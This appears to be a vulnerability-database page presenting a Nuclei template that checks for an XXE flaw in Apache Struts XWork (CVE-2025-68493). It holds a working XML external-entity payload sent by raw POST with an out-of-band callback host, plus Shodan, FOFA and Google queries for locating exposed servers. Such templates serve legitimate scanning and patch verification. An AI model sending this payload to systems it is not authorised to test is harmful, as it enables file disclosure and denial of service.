Lucene search
+L

Apache Struts XWork - XML External Entity Injection

🗓️ 01 Aug 2026 10:03:16Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 5 Views

Apache Struts XWork XML external entity injection via missing XML validation; may disclose files or cause DoS.

Related
Refs
Code
id: CVE-2025-68493

info:
  name: Apache Struts XWork - XML External Entity Injection
  author: pussycat0x
  severity: high
  description: |
    Apache Struts 2.0.0 < 2.2.1 and 2.2.1 <= versions <= 6.1.0 contain an XML external entity injection caused by missing XML validation, letting attackers potentially disclose files or cause denial of service, exploit requires crafted XML input
  impact: |
    Attackers can disclose sensitive files or cause denial of service by exploiting XML processing.
  remediation: |
    Upgrade to version 6.1.1.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-069
    - https://github.com/hsltz/CVE-2025-68493
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
    cvss-score: 8.1
    cve-id: CVE-2025-68493
    cwe-id: CWE-611
    epss-score: 0.22988
    epss-percentile: 0.97518
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"Apache Struts"
      - http.html:"struts problem report"
      - http.title:"Struts2 Showcase"
    fofa-query:
      - body="struts problem report"
      - app="apache_struts"
      - title="Struts2 Showcase"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2025,apache,struts,struts2,xxe,oast,oob,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Struts'
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /struts2-xml-parser/xmlParserNoDtdParse HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
        Connection: close

        <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{{interactsh-url}}">]><foo>&xxe;</foo>

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
        condition: or
# digest: 4a0a00473045022100df265569f57ce9a44c24aa117f5ffe5c3ed34ba70e40b42d3abc8f5cc422d933022021fdb7143bbbac363293a36bb72d5715c2e913bf42bbcc5e424b4c4a0b366e37:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2026 12:28Current
7.7High risk
Vulners AI Score7.7
CVSS 3.18.1
EPSS0.22988
SSVC
5